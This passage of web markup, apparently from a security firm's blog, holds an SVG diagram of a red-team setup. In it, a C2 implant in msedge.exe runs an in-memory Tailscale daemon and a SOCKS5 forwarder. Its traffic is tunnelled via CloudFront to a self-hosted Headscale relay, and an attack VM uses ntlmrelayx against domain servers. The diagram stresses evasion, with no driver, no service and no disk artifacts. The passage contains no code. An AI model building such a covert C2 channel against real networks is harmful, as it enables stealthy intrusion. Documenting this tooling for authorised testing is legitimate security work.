      <path d="M0,0 L8,3 L0,6" fill="none" stroke="#5a40a0" stroke-width="1.2"/>
    </marker>
    <marker id="arrow-attack" markerWidth="8" markerHeight="6" refX="7" refY="3" orient="auto">
      <path d="M0,0 L8,3 L0,6" fill="none" stroke="#18706e" stroke-width="1.2"/>
    </marker>
    <marker id="arrow-cdn" markerWidth="8" markerHeight="6" refX="7" refY="3" orient="auto">
      <path d="M0,0 L8,3 L0,6" fill="none" stroke="#2a5f9e" stroke-width="1.2"/>
    </marker>
    <marker id="arrow-docker" markerWidth="8" markerHeight="6" refX="7" refY="3" orient="auto">
      <path d="M0,0 L8,3 L0,6" fill="none" stroke="#1a5a9e" stroke-width="1.2"/>
    </marker>

    <symbol id="icon-monitor" viewBox="0 0 40 34">
      <rect x="2" y="1" width="36" height="24" rx="2" fill="none" stroke="currentColor" stroke-width="2"/>
      <rect x="6" y="5" width="28" height="16" rx="1" fill="currentColor" opacity="0.15"/>
      <line x1="20" y1="25" x2="20" y2="30" stroke="currentColor" stroke-width="2"/>
      <line x1="12" y1="30" x2="28" y2="30" stroke="currentColor" stroke-width="2" stroke-linecap="round"/>
    </symbol>

    <symbol id="icon-server" viewBox="0 0 36 44">
      <rect x="2" y="1" width="32" height="42" rx="3" fill="none" stroke="currentColor" stroke-width="2"/>
      <line x1="2" y1="15" x2="34" y2="15" stroke="currentColor" stroke-width="1.5"/>
      <line x1="2" y1="29" x2="34" y2="29" stroke="currentColor" stroke-width="1.5"/>
      <circle cx="28" cy="8" r="2" fill="currentColor" opacity="0.6"/>
      <circle cx="28" cy="22" r="2" fill="currentColor" opacity="0.6"/>
      <circle cx="28" cy="36" r="2" fill="currentColor" opacity="0.6"/>
      <line x1="8" y1="8" x2="22" y2="8" stroke="currentColor" stroke-width="1.5" stroke-linecap="round"/>
      <line x1="8" y1="22" x2="22" y2="22" stroke="currentColor" stroke-width="1.5" stroke-linecap="round"/>
      <line x1="8" y1="36" x2="22" y2="36" stroke="currentColor" stroke-width="1.5" stroke-linecap="round"/>
    </symbol>

    <symbol id="icon-cloud" viewBox="0 0 56 36">
      <path d="M14,30 A10,10 0 0,1 8,14 A12,12 0 0,1 20,4 A14,14 0 0,1 44,8 A10,10 0 0,1 48,26 A6,6 0 0,1 42,30 Z"
            fill="currentColor" opacity="0.12" stroke="currentColor" stroke-width="2"/>
    </symbol>

    <symbol id="icon-cloudfront" viewBox="0 0 256 308">
      <path d="M166.01 127.465l59.202-6.314 30.676 6.369.111.068-56.558 3.374-33.484-3.442.053-.055z" fill="#5E1F18"/><path d="M165.958 127.521l59.204-4.625.407-.593.002-73.044-.407-.835-59.206 15.397v63.7" fill="#8C3123"/><path d="M256 127.59l-30.838-4.694.002-74.472 30.835 15.428.001 63.738" fill="#E05243"/><path d="M165.958 180.115l.865.606 58.349 3.959 29.772-3.959 1.055-.579-56.557-3.475-33.484 3.448" fill="#F2B0A9"/><path d="M165.958 180.115l59.214 4.405.183.246-.045 73.942-.146.386-59.206-15.275v-63.704" fill="#8C3123"/><path d="M255.999 180.142l-30.827 4.378-.008 74.574 30.835-15.309v-63.643" fill="#E05243"/><path d="M89.119 127.408l-58.53-5.014L.195 127.44l-.193.151 56.557 3.374 32.874-3.376-.314-.18z" fill="#5E1F18"/><path d="M.002 127.59l30.557-4.474.899-.637v-73.2l-.899-.855L.002 63.855v63.735" fill="#8C3123"/><path d="M89.433 127.588l-58.874-4.472V48.424l58.877 15.397-.003 63.767" fill="#E05243"/><path d="M89.433 180.142l-1.351.985-57.523 4.313-29.583-4.313-.976-.985 56.559-3.475 32.874 3.475" fill="#F2B0A9"/><path d="M0 180.142l30.558 4.34.777.952.083 72.333-.859 1.327L.002 243.785 0 180.142" fill="#8C3123"/><path d="M89.433 180.142l-58.875 4.34.001 74.612 58.874-15.275v-63.677" fill="#E05243"/><path d="M189.104 189.66l-61.103-6.026-61.712 6.027.87.735 60.541 9.617 60.533-9.617.871-.736" fill="#F2B0A9"/><path d="M66.289 189.661l61.411 8.998.623.833.079 106.959-.702 1.186-61.411-30.706v-87.27" fill="#8C3123"/><path d="M189.104 189.66l-61.404 8.999v108.978l61.405-30.706-.001-87.271" fill="#E05243"/><path d="M128.001 123.933l-61.712-5.958.159-.091 61.249-9.502 61.222 9.524.186.069-61.104 5.958z" fill="#5E1F18"/><path d="M66.289 117.975l61.411-8.949.294-.268L127.858.165 127.7 0 66.289 30.709v87.266" fill="#8C3123"/><path d="M189.105 117.975l-61.405-8.949V0l61.405 30.709v87.266" fill="#E05243"/>
    </symbol>

    <symbol id="icon-shield" viewBox="0 0 32 38">
      <path d="M16,2 L30,9 L30,20 C30,28 24,34 16,37 C8,34 2,28 2,20 L2,9 Z"
            fill="currentColor" opacity="0.12" stroke="currentColor" stroke-width="2"/>
      <rect x="11" y="16" width="10" height="9" rx="1.5" fill="none" stroke="currentColor" stroke-width="1.8"/>
      <path d="M13.5,16 L13.5,13 A2.5,2.5 0 0,1 18.5,13 L18.5,16" fill="none" stroke="currentColor" stroke-width="1.8"/>
    </symbol>

    <symbol id="icon-docker" viewBox="0 0 50 36">
      <!-- Whale body -->
      <path d="M2,22 C2,18 4,15 8,14 C8,12 10,11 13,11 L13,13 L38,13 C40,13 42,14 43,16 C46,15 49,15 49,15 C49,15 48,18 45,20 C45,28 38,32 28,32 C14,32 6,28 2,22 Z"
            fill="currentColor" opacity="0.15" stroke="currentColor" stroke-width="1.5" stroke-linejoin="round"/>
      <!-- Containers on whale's back -->
      <rect x="15" y="5" width="5" height="4.5" rx="0.5" fill="none" stroke="currentColor" stroke-width="1.1"/>
      <rect x="21" y="5" width="5" height="4.5" rx="0.5" fill="none" stroke="currentColor" stroke-width="1.1"/>
      <rect x="27" y="5" width="5" height="4.5" rx="0.5" fill="none" stroke="currentColor" stroke-width="1.1"/>
      <rect x="15" y="0" width="5" height="4.5" rx="0.5" fill="none" stroke="currentColor" stroke-width="1.1"/>
      <rect x="21" y="0" width="5" height="4.5" rx="0.5" fill="none" stroke="currentColor" stroke-width="1.1"/>
      <!-- Eye -->
      <circle cx="7" cy="19" r="1.2" fill="currentColor" opacity="0.7"/>
    </symbol>

    <symbol id="icon-memory" viewBox="0 0 38 28">
      <rect x="5" y="4" width="28" height="20" rx="2" fill="currentColor" opacity="0.12" stroke="currentColor" stroke-width="1.8"/>
      <rect x="10" y="8" width="18" height="12" rx="1" fill="none" stroke="currentColor" stroke-width="1.2"/>
      <line x1="8" y1="4" x2="8" y2="0" stroke="currentColor" stroke-width="1.5"/>
      <line x1="14" y1="4" x2="14" y2="0" stroke="currentColor" stroke-width="1.5"/>
      <line x1="20" y1="4" x2="20" y2="0" stroke="currentColor" stroke-width="1.5"/>
      <line x1="26" y1="4" x2="26" y2="0" stroke="currentColor" stroke-width="1.5"/>
      <line x1="30" y1="4" x2="30" y2="0" stroke="currentColor" stroke-width="1.5"/>
      <line x1="8" y1="24" x2="8" y2="28" stroke="currentColor" stroke-width="1.5"/>
      <line x1="14" y1="24" x2="14" y2="28" stroke="currentColor" stroke-width="1.5"/>
      <line x1="20" y1="24" x2="20" y2="28" stroke="currentColor" stroke-width="1.5"/>
      <line x1="26" y1="24" x2="26" y2="28" stroke="currentColor" stroke-width="1.5"/>
      <line x1="30" y1="24" x2="30" y2="28" stroke="currentColor" stroke-width="1.5"/>
    </symbol>

    <symbol id="icon-no" viewBox="0 0 24 24">
      <circle cx="12" cy="12" r="10" fill="none" stroke="currentColor" stroke-width="2.2"/>
      <line x1="5" y1="5" x2="19" y2="19" stroke="currentColor" stroke-width="2.2"/>
    </symbol>

    <symbol id="icon-pipe" viewBox="0 0 28 18">
      <rect x="1" y="3" width="26" height="12" rx="6" fill="currentColor" opacity="0.12" stroke="currentColor" stroke-width="1.6"/>
      <line x1="9" y1="6" x2="9" y2="12" stroke="currentColor" stroke-width="1.3"/>
      <line x1="14" y1="6" x2="14" y2="12" stroke="currentColor" stroke-width="1.3"/>
      <line x1="19" y1="6" x2="19" y2="12" stroke="currentColor" stroke-width="1.3"/>
    </symbol>

    <symbol id="icon-terminal" viewBox="0 0 36 28">
      <rect x="1" y="1" width="34" height="26" rx="3" fill="currentColor" opacity="0.12" stroke="currentColor" stroke-width="1.8"/>
      <polyline points="8,10 14,14 8,18" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/>
      <line x1="17" y1="18" x2="26" y2="18" stroke="currentColor" stroke-width="2" stroke-linecap="round"/>
    </symbol>
  </defs>

  <!-- ==================== VICTIM ZONE ==================== -->
  <rect x="20" y="75" width="390" height="510" rx="12" fill="#fef7ed" stroke="#c06a10" stroke-width="1.5" stroke-dasharray="6,3"/>
  <text x="40" y="97" font-size="15" font-weight="600" fill="#7a3d08" letter-spacing="0.5">VICTIM NETWORK</text>
  <text x="280" y="97" font-size="12.5" fill="#7a3d08" opacity="0.7">192.168.0.0/24</text>

  <!-- DC01 box (inside victim zone, outside victim-ws01) -->
  <rect x="40" y="110" width="160" height="55" rx="5" fill="#ffffff" stroke="#c06a10" stroke-width="1" stroke-dasharray="4,2"/>
  <use href="#icon-server" x="50" y="116" width="16" height="22" color="#c06a10"/>
  <text x="72" y="132" font-size="13.8" font-weight="600" fill="#7a3d08">dc01</text>
  <text x="50" y="152" font-size="11.2" fill="#5f6368">192.168.0.10</text>

  <!-- ADCS box (inside victim zone, outside victim-ws01) -->
  <rect x="225" y="110" width="165" height="55" rx="5" fill="#ffffff" stroke="#c06a10" stroke-width="1" stroke-dasharray="4,2"/>
  <use href="#icon-server" x="235" y="116" width="16" height="22" color="#c06a10"/>
  <text x="257" y="132" font-size="13.8" font-weight="600" fill="#7a3d08">adcs</text>
  <text x="235" y="152" font-size="11.2" fill="#5f6368">192.168.0.20</text>

  <!-- Compromised Host box -->
  <rect x="40" y="180" width="350" height="390" rx="8" fill="#ffffff" stroke="#c06a10" stroke-width="1.5"/>
  <use href="#icon-monitor" x="52" y="188" width="22" height="18" color="#c06a10"/>
  <text x="78" y="202" font-size="15" font-weight="600" fill="#7a3d08">victim-ws01</text>
  <text x="190" y="202" font-size="11.2" fill="#7a3d08" opacity="0.7">compromised host</text>
  <text x="78" y="216" font-size="11.2" fill="#5f6368">192.168.0.50</text>

  <!-- C2 Implant Process (large container holding all BOF-PEs) -->
  <rect x="55" y="225" width="320" height="330" rx="7" fill="#fef7ed" stroke="#c06a10" stroke-width="1" opacity="0.8"/>
  <image x="338" y="234" width="24" height="24" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAYAAABXAvmHAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAABIYSURBVGhDxZoJVJPXuoYTEAUSMjDYrp62596u3nXbSgJkAsWCioKKgAxBheJ0jm31OKHMBCKzOCAgWsS5trWttdraKtYJEjKQEAIkQCYmAaWittp59bT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WDE2swyo98AI6oKBABjwS4wFpTBnXgdVtxFD89g2lt9uNK0ApLI/A1Z3D0uhMMWM5yTjoNK9AKxGhG98FsBiJJYWAU6cXWjdttMR1aAEVFuiwVlYC7cC0b4jpvU2aIX7S3+ulK1M0kiy9e2TOjGQDjkGOCY2QpXIgPEoc56Jtp/H+KPA+wCM7qaeBymh+b/gc+SrZmw9JMLrv0iEw5iM5ySG0AlSimiDNToN0Yg/ihABZhxBwgQI3Vu0Uv2ln671imfJolMF8iFQyDnmKwgYyDWXbJBLNhpzYTV8O8EYEbvBZNo9IjyU24h49xC/0PKNqaQcsx3ic2OLDI+2PC2mOG0UQJKZDnciCNG1G7QYt54YP5xAAjjwsNEAw8zwnettp/6z1NG23MkkfkAOdv0A5k4O4m74JDdYc3EhAwtnBOPWSFo87fBLbISNCIjMdX3YyzAXuvqwxAeJpbTr+mRlZXu4YV/s5/yr5Go83/JInMpOcfU7ZDXB4ei63AoHIRDQR+cNing+spbcIssB23eNtDmbwctvAy0iArQo/bYTMcdssLQIiuN9KjKPHrE9v+2n+I/I3GPMynHEkLONZeQRYY6B5HhmoPY/G/Hwn5MEJsxKUUFlzWfwXXFSbgmvPkjddHBAaqw5qJbXHU+NaYqiBQs/kNfvfk/RfYwI2b1ipYAAAAASUVORK5CYII="/>
  <text x="215" y="245" text-anchor="middle" font-size="13.8" font-weight="600" fill="#7a3d08">C2 Implant Process (msedge.exe)</text>
  <text x="215" y="260" text-anchor="middle" font-size="11.2" fill="#5a40a0" font-weight="600">100.64.0.2  victim-ws01.target.tun</text>
  <text x="215" y="273" text-anchor="middle" font-size="10" fill="#5a40a0" opacity="0.7">userspace IP stack (no TUN adapter)</text>

  <!-- tailscaled (daemon) inside implant -->
  <rect x="70" y="285" width="290" height="85" rx="6" fill="#f0ecf8" stroke="#5a40a0" stroke-width="1.5"/>
  <use href="#icon-memory" x="80" y="292" width="26" height="20" color="#5a40a0"/>
  <text x="112" y="307" font-size="16.2" font-weight="700" fill="#5a40a0">tailscaled</text>
  <text x="260" y="307" font-size="11.2" fill="#5a40a0" opacity="0.7">Go/CGO BOF-PE</text>
  <text x="90" y="325" font-size="11.2" fill="#5f6368">In-memory Tailscale daemon, async BOF</text>
  <text x="90" y="340" font-size="11.2" fill="#5f6368">userspace networking  |  mem: state</text>
  <use href="#icon-no" x="90" y="348" width="13" height="13" color="#5a40a0"/>
  <text x="107" y="360" font-size="10" fill="#5a40a0" opacity="0.8">no driver</text>
  <use href="#icon-no" x="170" y="348" width="13" height="13" color="#5a40a0"/>
  <text x="187" y="360" font-size="10" fill="#5a40a0" opacity="0.8">no service</text>
  <use href="#icon-no" x="250" y="348" width="13" height="13" color="#5a40a0"/>
  <text x="267" y="360" font-size="10" fill="#5a40a0" opacity="0.8">no children</text>

  <!-- tailscale (client) inside implant -->
  <rect x="70" y="400" width="140" height="65" rx="6" fill="#edf2fa" stroke="#2a5f9e" stroke-width="1.2"/>
  <use href="#icon-terminal" x="78" y="406" width="20" height="16" color="#2a5f9e"/>
  <text x="102" y="419" font-size="13.8" font-weight="600" fill="#1a3d6e">tailscale</text>
  <text x="80" y="436" font-size="10.6" fill="#5f6368">C++ BOF-PE</text>
  <text x="80" y="450" font-size="10.6" fill="#5f6368">HTTP/1.0 over pipe</text>

  <!-- socksportfwd inside implant -->
  <rect x="220" y="400" width="140" height="65" rx="6" fill="#edf7f7" stroke="#18706e" stroke-width="1.2"/>
  <use href="#icon-pipe" x="228" y="408" width="20" height="14" color="#18706e"/>
  <text x="252" y="419" font-size="12.5" font-weight="600" fill="#0e4846">socksportfwd</text>
  <text x="230" y="436" font-size="10.6" fill="#5f6368">TCP port forwarder</text>
  <text x="230" y="450" font-size="10.6" fill="#5f6368">async BOF-PE</text>

  <!-- Connection arrows: client to daemon -->
  <line x1="140" y1="400" x2="140" y2="373" stroke="#2a5f9e" stroke-width="1.3" marker-end="url(#arrow-cdn)"/>
  <text x="146" y="390" font-size="10" fill="#2a5f9e">named pipe</text>

  <!-- Connection arrows: socksportfwd to daemon -->
  <line x1="290" y1="400" x2="290" y2="373" stroke="#18706e" stroke-width="1.3" marker-end="url(#arrow-attack)"/>
  <text x="296" y="390" font-size="10" fill="#18706e">SOCKS5</text>

  <!-- SOCKS listener note -->
  <text x="215" y="488" text-anchor="middle" font-size="10" fill="#5f6368">SOCKS5 on 0.0.0.0:1080</text>

  <!-- In-memory note -->
  <text x="215" y="505" text-anchor="middle" font-size="10" fill="#5a40a0" opacity="0.6">everything runs in-process, no disk artifacts</text>

  <!-- ==================== CDN ZONE ==================== -->
  <rect x="495" y="130" width="200" height="310" rx="12" fill="#edf2fa" stroke="#2a5f9e" stroke-width="1.5" stroke-dasharray="6,3"/>
  <text x="595" y="152" text-anchor="middle" font-size="15" font-weight="600" fill="#1a3d6e" letter-spacing="0.5">CDN EDGE</text>

  <use href="#icon-cloudfront" x="560" y="165" width="68" height="68" color="#2a5f9e"/>
  <text x="595" y="250" text-anchor="middle" font-size="17.5" font-weight="700" fill="#1a3d6e">CloudFront</text>
  <text x="595" y="268" text-anchor="middle" font-size="11.2" fill="#1a3d6e" opacity="0.7">or Fastly</text>

  <rect x="520" y="278" width="148" height="36" rx="5" fill="#ffffff" stroke="#2a5f9e" stroke-width="1"/>
  <text x="594" y="293" text-anchor="middle" font-size="12.5" font-weight="600" fill="#1a3d6e">RFC 6455 WebSocket</text>
  <text x="594" y="306" text-anchor="middle" font-size="10" fill="#5f6368">Upgrade: websocket</text>

  <text x="595" y="338" text-anchor="middle" font-size="10.6" fill="#1a3d6e" opacity="0.8">subprotocol: derp | ts2021</text>

  <text x="595" y="368" text-anchor="middle" font-size="11.2" fill="#1a3d6e">:443 TLS</text>
  <text x="595" y="383" text-anchor="middle" font-size="10" fill="#5f6368">standard HTTPS port</text>

  <!-- ==================== ORIGIN ZONE ==================== -->
  <rect x="740" y="130" width="380" height="410" rx="12" fill="#edf7f2" stroke="#28785a" stroke-width="1.5" stroke-dasharray="6,3"/>
  <text x="760" y="152" font-size="15" font-weight="600" fill="#1a4a30" letter-spacing="0.5">ORIGIN SERVER</text>

  <!-- Reverse Proxy (outside Docker Compose) -->
  <rect x="760" y="168" width="340" height="42" rx="6" fill="#ffffff" stroke="#28785a" stroke-width="1"/>
  <text x="930" y="186" text-anchor="middle" font-size="12.5" font-weight="600" fill="#1a4a30">Reverse Proxy  (Caddy / Apache2)</text>
  <text x="930" y="200" text-anchor="middle" font-size="10" fill="#5f6368">read_timeout 0  |  write_timeout 0</text>

  <!-- Reverse proxy internal arrows -->
  <line x1="870" y1="210" x2="870" y2="250" stroke="#1a5a9e" stroke-width="1.3" stroke-dasharray="4,3" marker-end="url(#arrow-docker)"/>
  <text x="876" y="234" font-size="9.4" fill="#1a5a9e">:5566</text>
  <line x1="960" y1="210" x2="960" y2="325" stroke="#1a5a9e" stroke-width="1.3" stroke-dasharray="4,3" marker-end="url(#arrow-docker)"/>
  <text x="966" y="270" font-size="9.4" fill="#1a5a9e">:3478</text>

  <!-- Docker Compose container -->
  <rect x="752" y="222" width="356" height="290" rx="8" fill="#edf2fa" stroke="#1a5a9e" stroke-width="1.5" stroke-dasharray="4,2"/>
  <use href="#icon-docker" x="762" y="228" width="18" height="14" color="#1a5a9e"/>
  <text x="784" y="240" font-size="12.5" font-weight="600" fill="#14406e">Docker Compose</text>

  <rect x="765" y="252" width="330" height="65" rx="6" fill="#ffffff" stroke="#28785a" stroke-width="1.5"/>
  <use href="#icon-server" x="775" y="260" width="22" height="28" color="#28785a"/>
  <text x="803" y="274" font-size="16.2" font-weight="700" fill="#1a4a30">Headscale</text>
  <text x="905" y="274" font-size="11.2" fill="#1a4a30" opacity="0.7">:5566</text>
  <text x="803" y="292" font-size="11.2" fill="#5f6368">TS2021 control plane  |  self-hosted</text>
  <text x="803" y="306" font-size="10" fill="#5f6368">logtail disabled  |  ephemeral nodes 10m</text>

  <rect x="765" y="327" width="330" height="58" rx="6" fill="#ffffff" stroke="#28785a" stroke-width="1.2"/>
  <use href="#icon-shield" x="775" y="335" width="20" height="24" color="#28785a"/>
  <text x="803" y="349" font-size="15" font-weight="600" fill="#1a4a30">Embedded DERP Relay</text>
  <text x="803" y="365" font-size="11.2" fill="#5f6368">verify_clients: true</text>
  <text x="803" y="377" font-size="10" fill="#5f6368">region 999  |  no upstream Tailscale DERP</text>

  <rect x="765" y="395" width="330" height="50" rx="6" fill="#ffffff" stroke="#28785a" stroke-width="1"/>
  <use href="#icon-monitor" x="775" y="402" width="20" height="16" color="#28785a"/>
  <text x="803" y="417" font-size="13.8" font-weight="600" fill="#1a4a30">Headplane</text>
  <text x="885" y="417" font-size="11.2" fill="#1a4a30" opacity="0.7">:3000</text>
  <text x="803" y="433" font-size="10" fill="#5f6368">Admin UI  |  SSH tunnel only, not via CDN</text>

  <rect x="765" y="455" width="330" height="36" rx="4" fill="#edf7f2" stroke="#28785a" stroke-width="0.8"/>
  <text x="785" y="470" font-size="10" fill="#1a4a30" opacity="0.8">init: config patching, user creation, pre-auth keys,</text>
  <text x="785" y="482" font-size="10" fill="#1a4a30" opacity="0.8">ACL policy auto-approve, cookie secret generation</text>

  <text x="930" y="530" text-anchor="middle" font-size="10" fill="#1a4a30" opacity="0.6">HEADSCALE_HOSTNAME=d1a2b3c4e5f6g7.cloudfront.net</text>

  <!-- ==================== ENCRYPTED TUNNEL ==================== -->

  <!-- Tunnel outer walls -->
  <path d="M175,595 L175,790" fill="none" stroke="#5a40a0" stroke-width="2" opacity="0.4"/>
  <path d="M255,595 L255,790" fill="none" stroke="#5a40a0" stroke-width="2" opacity="0.4"/>

  <!-- Tunnel fill -->
  <rect x="175" y="595" width="80" height="195" rx="0" fill="#f0ecf8" opacity="0.35"/>

  <!-- Mesh cross-hatching inside tunnel -->
  <line x1="175" y1="610" x2="255" y2="630" stroke="#5a40a0" stroke-width="0.7" opacity="0.3"/>
  <line x1="175" y1="630" x2="255" y2="650" stroke="#5a40a0" stroke-width="0.7" opacity="0.3"/>
  <line x1="175" y1="650" x2="255" y2="670" stroke="#5a40a0" stroke-width="0.7" opacity="0.3"/>
  <line x1="175" y1="670" x2="255" y2="690" stroke="#5a40a0" stroke-width="0.7" opacity="0.3"/>
  <line x1="175" y1="690" x2="255" y2="710" stroke="#5a40a0" stroke-width="0.7" opacity="0.3"/>
  <line x1="175" y1="710" x2="255" y2="730" stroke="#5a40a0" stroke-width="0.7" opacity="0.3"/>
  <line x1="175" y1="730" x2="255" y2="750" stroke="#5a40a0" stroke-width="0.7" opacity="0.3"/>
  <line x1="175" y1="750" x2="255" y2="770" stroke="#5a40a0" stroke-width="0.7" opacity="0.3"/>
  <line x1="175" y1="770" x2="255" y2="790" stroke="#5a40a0" stroke-width="0.7" opacity="0.3"/>
  <line x1="255" y1="610" x2="175" y2="630" stroke="#5a40a0" stroke-width="0.7" opacity="0.3"/>
  <line x1="255" y1="630" x2="175" y2="650" stroke="#5a40a0" stroke-width="0.7" opacity="0.3"/>
  <line x1="255" y1="650" x2="175" y2="670" stroke="#5a40a0" stroke-width="0.7" opacity="0.3"/>
  <line x1="255" y1="670" x2="175" y2="690" stroke="#5a40a0" stroke-width="0.7" opacity="0.3"/>
  <line x1="255" y1="690" x2="175" y2="710" stroke="#5a40a0" stroke-width="0.7" opacity="0.3"/>
  <line x1="255" y1="710" x2="175" y2="730" stroke="#5a40a0" stroke-width="0.7" opacity="0.3"/>
  <line x1="255" y1="730" x2="175" y2="750" stroke="#5a40a0" stroke-width="0.7" opacity="0.3"/>
  <line x1="255" y1="750" x2="175" y2="770" stroke="#5a40a0" stroke-width="0.7" opacity="0.3"/>
  <line x1="255" y1="770" x2="175" y2="790" stroke="#5a40a0" stroke-width="0.7" opacity="0.3"/>

  <!-- Flowing dashes (encrypted traffic) -->
  <line x1="195" y1="600" x2="195" y2="785" stroke="#5a40a0" stroke-width="1.5" stroke-dasharray="4,8" opacity="0.5"/>
  <line x1="215" y1="605" x2="215" y2="790" stroke="#5a40a0" stroke-width="1.5" stroke-dasharray="4,8" opacity="0.6"/>
  <line x1="235" y1="598" x2="235" y2="783" stroke="#5a40a0" stroke-width="1.5" stroke-dasharray="4,8" opacity="0.5"/>

  <!-- Encrypted padlock centered in tunnel -->
  <use href="#icon-shield" x="201" y="680" width="28" height="24" color="#5a40a0"/>

  <!-- Tunnel arrows (bidirectional) -->
  <line x1="215" y1="585" x2="215" y2="598" stroke="#5a40a0" stroke-width="2" marker-start="url(#arrow-mesh-rev)"/>
  <line x1="215" y1="785" x2="215" y2="798" stroke="#5a40a0" stroke-width="2" marker-end="url(#arrow-mesh)"/>

  <!-- Tunnel label -->
  <text x="270" y="682" font-size="12.5" font-weight="700" fill="#5a40a0">Tailscale</text>
  <text x="270" y="696" font-size="12.5" font-weight="700" fill="#5a40a0">Tunnel</text>
  <text x="270" y="712" font-size="10" fill="#5f6368">via DERP relay</text>
  <text x="270" y="726" font-size="10" fill="#5f6368">through CDN</text>

  <!-- ==================== ATTACK VM ZONE ==================== -->
  <rect x="20" y="810" width="390" height="210" rx="12" fill="#edf7f7" stroke="#18706e" stroke-width="1.5" stroke-dasharray="6,3"/>
  <text x="40" y="832" font-size="15" font-weight="600" fill="#0e4846" letter-spacing="0.5">ATTACK VM</text>
  <text x="170" y="832" font-size="11.2" fill="#0e4846" opacity="0.7">operator.target.tun  100.64.0.1</text>

  <rect x="40" y="845" width="350" height="60" rx="6" fill="#ffffff" stroke="#18706e" stroke-width="1.5"/>
  <use href="#icon-server" x="50" y="853" width="20" height="26" color="#18706e"/>
  <text x="78" y="867" font-size="15" font-weight="700" fill="#0e4846">Modified tailscaled</text>
  <text x="78" y="883" font-size="11.2" fill="#5f6368">Full install with disk state, same WS patches</text>
  <text x="78" y="896" font-size="10" fill="#5f6368">&#8211;state /var/lib/tailscale/tailscaled.state</text>

  <rect x="40" y="920" width="165" height="46" rx="5" fill="#ffffff" stroke="#18706e" stroke-width="1"/>
  <use href="#icon-terminal" x="50" y="926" width="18" height="14" color="#18706e"/>
  <text x="72" y="939" font-size="12.5" font-weight="600" fill="#0e4846">ntlmrelayx</text>
  <text x="50" y="955" font-size="10" fill="#5f6368">relay via port forward</text>

  <rect x="225" y="920" width="165" height="46" rx="5" fill="#ffffff" stroke="#18706e" stroke-width="1"/>
  <use href="#icon-terminal" x="235" y="926" width="18" height="14" color="#18706e"/>
  <text x="257" y="939" font-size="12.5" font-weight="600" fill="#0e4846">other tooling</text>
  <text x="235" y="955" font-size="10" fill="#5f6368">ping, smbclient, etc.</text>

  <!-- ==================== CONNECTION ARROWS ==================== -->

  <!-- Victim to CDN -->
  <path d="M390,327 L440,327 L440,260 L495,260" fill="none" stroke="#5a40a0" stroke-width="1.8" marker-end="url(#arrow-victim)"/>
  <text x="445" y="254" font-size="10.6" fill="#5a40a0" font-weight="600">WS :443</text>

  <!-- CDN to Origin -->
  <path d="M695,260 L720,260 L720,189 L740,189" fill="none" stroke="#2a5f9e" stroke-width="1.8" marker-end="url(#arrow-cdn)"/>

  <!-- Attack VM to CDN -->
  <path d="M410,875 L440,875 L440,380 L495,380" fill="none" stroke="#18706e" stroke-width="1.8" marker-end="url(#arrow-attack)"/>
  <text x="445" y="374" font-size="10.6" fill="#18706e" font-weight="600">WS :443</text>

  <!-- ==================== LEGEND ==================== -->
  <rect x="740" y="570" width="380" height="115" rx="8" fill="#ffffff" stroke="#1a1a2e" stroke-width="0.5" opacity="0.5"/>
  <text x="760" y="590" font-size="12.5" font-weight="600" fill="#1a1a2e" opacity="0.7">Traffic Flow</text>

  <line x1="760" y1="605" x2="800" y2="605" stroke="#5a40a0" stroke-width="1.5"/>
  <text x="808" y="609" font-size="11.2" fill="#5f6368">Victim to CDN (WebSocket upgrade)</text>

  <line x1="760" y1="625" x2="800" y2="625" stroke="#18706e" stroke-width="1.5"/>
  <text x="808" y="629" font-size="11.2" fill="#5f6368">Attack VM to CDN (WebSocket upgrade)</text>

  <line x1="760" y1="645" x2="800" y2="645" stroke="#5a40a0" stroke-width="1.5" stroke-dasharray="6,4"/>
  <text x="808" y="649" font-size="11.2" fill="#5f6368">Tailscale tunnel (via DERP relay)</text>

  <line x1="760" y1="665" x2="800" y2="665" stroke="#2a5f9e" stroke-width="1.5"/>
  <text x="808" y="669" font-size="11.2" fill="#5f6368">CDN to origin proxy</text>
</svg>
</div></div>

<figure data-wp-context="{&quot;imageId&quot;:&quot;6afb58b473950&quot;}" data-wp-interactive="core/image" data-wp-key="6afb58b473950" class="wp-block-image size-full uag-hide-desktop uag-hide-tab wp-lightbox-container"><img loading="lazy" decoding="async" width="2276" height="1936" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on--click="actions.showLightbox" data-wp-on--load="callbacks.setButtonStyles" data-wp-on--pointerdown="actions.preloadImage" data-wp-on--pointerenter="actions.preloadImageWithDelay" data-wp-on--pointerleave="actions.cancelPreload" data-wp-on-window--resize="callbacks.setButtonStyles" src="https://www.netspi.com/wp-content/uploads/2026/08/bof-scale-cdn-graphic.png" alt="" class="wp-image-34092" srcset="https://www.netspi.com/wp-content/uploads/2026/08/bof-scale-cdn-graphic.png 2276w, https://www.netspi.com/wp-content/uploads/2026/08/bof-scale-cdn-graphic-300x255.png 300w, https://www.netspi.com/wp-content/uploads/2026/08/bof-scale-cdn-graphic-1024x871.png 1024w, https://www.netspi.com/wp-content/uploads/2026/08/bof-scale-cdn-graphic-768x653.png 768w, https://www.netspi.com/wp-content/uploads/2026/08/bof-scale-cdn-graphic-1536x1307.png 1536w, https://www.netspi.com/wp-content/uploads/2026/08/bof-scale-cdn-graphic-2048x1742.png 2048w" sizes="auto, (max-width: 2276px) 100vw, 2276px" /><button
			class="lightbox-trigger"
			type="button"
			aria-haspopup="dialog"
			data-wp-bind--aria-label="state.thisImage.triggerButtonAriaLabel"
			data-wp-init="callbacks.initTriggerButton"
			data-wp-on--click="actions.showLightbox"
			data-wp-style--right="state.thisImage.buttonRight"
			data-wp-style--top="state.thisImage.buttonTop"
		>
			<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewBox="0 0 12 12">
				<path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z" />
			</svg>
		</button></figure>

<h3 id="h-enrolling-the-attack-vm" class="wp-block-heading">Enrolling the Attack VM</h3>

